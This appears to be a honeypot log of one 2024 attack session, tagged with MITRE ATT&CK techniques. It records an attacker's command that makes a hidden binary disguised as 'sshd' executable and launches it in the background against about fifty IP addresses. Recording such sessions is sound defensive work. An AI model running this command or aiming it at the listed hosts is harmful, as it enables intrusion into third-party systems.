Honeypot attack session (period 2024), commands issued:
chmod +x ./.6891889927343280477/sshd;nohup ./.6891889927343280477/sshd 66.94.126.114 42.101.33.234 222.77.96.62 62.234.52.38 54.193.226.67 109.248.207.151 47.102.128.57 185.240.151.87 38.180.142.225 107.151.244.11 36.111.166.241 154.12.187.10 54.153.115.101 203.205.9.197 13.57.35.178 111.67.195.36 139.199.1.94 114.113.151.152 41.111.172.3 108.165.94.231 185.155.149.90 14.215.136.37 43.248.117.123 202.96.122.50 202.133.88.34 208.65.84.143 106.105.212.133 14.215.136.28 185.189.14.245 107.172.141.53 13.233.117.107 103.244.80.196 13.127.119.113 54.161.8.231 120.71.147.193 183.131.186.36 61.191.20.19 35.94.192.72 107.172.84.105 52.66.108.69 54.37.39.243 185.162.146.193 13.232.205.127 185.240.151.82 38.47.189.107 87.107.188.130 183.131.22.164 101.89.177.169 43.248.141.241 208.65.84.197 213.136.86.113 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter